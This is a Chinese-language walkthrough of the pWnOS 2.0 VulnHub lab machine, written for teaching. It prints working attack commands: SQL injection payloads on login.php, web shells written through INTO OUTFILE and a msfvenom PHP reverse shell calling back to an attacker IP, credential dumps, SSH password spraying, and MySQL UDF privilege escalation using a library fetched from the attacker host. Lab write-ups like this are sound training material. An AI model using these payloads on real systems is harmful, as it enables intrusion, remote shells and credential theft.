Vulnhub靶机渗透总结之Pwnos2.0
字数 1366 2025-08-24 07:48:33
PwnOS 2.0 靶机渗透教学文档
一、靶机基本信息
- 名称: pWnOS 2.0
- 难度: Easy
- 架构: LAMP (Linux + Apache + MySQL + PHP)
- 下载链接: https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
- 发布日期: 2011年7月4日
二、环境配置
网络配置
- 靶机IP: 10.10.10.100
- 攻击机(Kali)IP: 10.10.10.23
- 网络配置:
- 子网掩码: 255.255.255.0
- 网关: 10.10.10.15
三、信息收集
1. 主机发现
nmap 10.10.10.0/24 -sn --min-rate 1000
2. 端口扫描
nmap 10.10.10.100 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 10.10.10.100 -sU --top-ports 10 -oA nmap_result/port_udp_scan
3. 服务识别
port=$(grep open nmap_result/port_scan.nmap | grep open | awk -F '/' '{print $1}' | paste -sd ',')
nmap 10.10.10.100 -p $port -sT -sV -O -sC -oA nmap_result/server_info
nmap 10.10.10.100 -p $port --script=vuln -oA nmap_result/vuln_info
开放端口:
- 22/tcp: OpenSSH 5.8p1
- 80/tcp: Apache httpd 2.2.17 (Ubuntu)
4. Web目录扫描
dirsearch -u "http://10.10.10.100" -o dirsearch_info
gobuster dir -u http://10.10.10.100 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info
dirb http://10.10.10.100 -o dirb_info
whatweb "http://10.10.10.100/blog/"
发现目录:
- /blog - Simple PHP Blog 0.4.0
- /info - phpinfo()页面
- /includes - 文件列表
- /images - 文件列表
四、Web渗透
1. SQL注入发现
测试点: 登录页面 (login.php) 的email参数
手动测试:
-
单引号测试:
email=admin'&pass=1234&submit=Login&submitted=TRUE返回SQL错误,确认存在注入
-
构造恶意输入:
email=admin' or '1'#&pass=1234&submit=Login&submitted=TRUE成功登录
2. SQL注入利用
使用sqlmap:
# 基本注入测试
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --batch
# 获取数据库数据
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --batch -D ch16 -T users --dump
# 获取MySQL用户凭据
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --batch --users --passwords
获取到的凭据:
- ch16.users表: admin@isints.com:killerbeesareflying
- MySQL用户: root:root@ISIntS
3. 上传Web Shell
方法1: 使用sqlmap的--os-shell
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --os-shell
方法2: 手动上传PHP反向shell
# 生成反向shell
msfvenom -p php/reverse_php LHOST=10.10.10.23 LPORT=4444 -o shell.php
# 使用sqlmap上传
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --file-write='/path/to/shell.php' --file-dest='/var/www/shell.php'
方法3: 使用SQL注入直接写入文件
email=' union select 11,22,33,"<?php system($_POST['x']);?>",55,66,77,88 into outfile '/var/www/shell.php'#&pass=1234&submit=Login&submitted=TRUE
五、权限提升
1. 数据库配置文件发现
find / -name mysqli_connect.php 2>/dev/null
发现两个配置文件:
- /var/www/mysqli_connect.php - 包含root:goodday
- /var/mysqli_connect.php - 包含root:root@ISIntS
2. MySQL登录尝试
mysql -uroot -proot@ISIntS
3. 密码碰撞
使用crackmapexec尝试SSH登录:
crackmapexec ssh 10.10.10.100 -u user_list -p pass_list --continue-on-success
成功发现root密码为root@ISIntS
4. UDF提权尝试(备用方案)
-
检查MySQL版本和插件目录:
select @@version; show variables like '%plugin%'; -
上传UDF库:
# 从攻击机下载UDF库 wget http://10.10.10.23/lib_mysqludf_sys_64.so -O /tmp/udf.so # MySQL中执行 use mysql; create table tmp(data blob); insert into tmp values(load_file('/tmp/udf.so')); select data from tmp into dumpfile "/usr/lib/mysql/plugin/udf.so"; create function sys_eval returns string soname 'udf.so'; select sys_eval('id');
六、其他攻击路径
1. Simple PHP Blog 0.4.0漏洞利用
# 使用Metasploit
msfconsole -q -x 'use exploit/unix/webapp/sphpblog_file_upload;set rhost 10.10.10.100;set uri /blog;run'
# 使用公开exp
./1191.pl -h http://10.10.10.100/blog -e 2
./1191.pl -h http://10.10.10.100/blog -e 3 -U wsec -P wsec
七、总结与反思
关键点总结
- SQL注入是主要突破口,通过登录页面的email参数
- 密码重用是提权关键,数据库密码与SSH密码相同
- 配置文件泄露提供了重要凭据
- 框架漏洞提供了备用攻击路径
安全建议
- 避免密码重用,特别是不同服务使用相同密码
- 对用户输入进行严格过滤,防止SQL注入
- 配置文件不应包含明文密码,且不应存放在web目录
- 及时更新CMS和框架,修复已知漏洞
渗透技巧
- 使用sqlmap的--os-shell失败时,可尝试手动上传shell
- 发现一个密码后,应尝试在其他服务上使用
- 配置文件搜索应全面,不限于web目录
- 多种攻击路径应并行尝试,提高成功率
通过本靶机渗透,我们实践了从信息收集、漏洞发现、漏洞利用到权限提升的完整渗透测试流程,特别强调了SQL注入和密码重用的危害。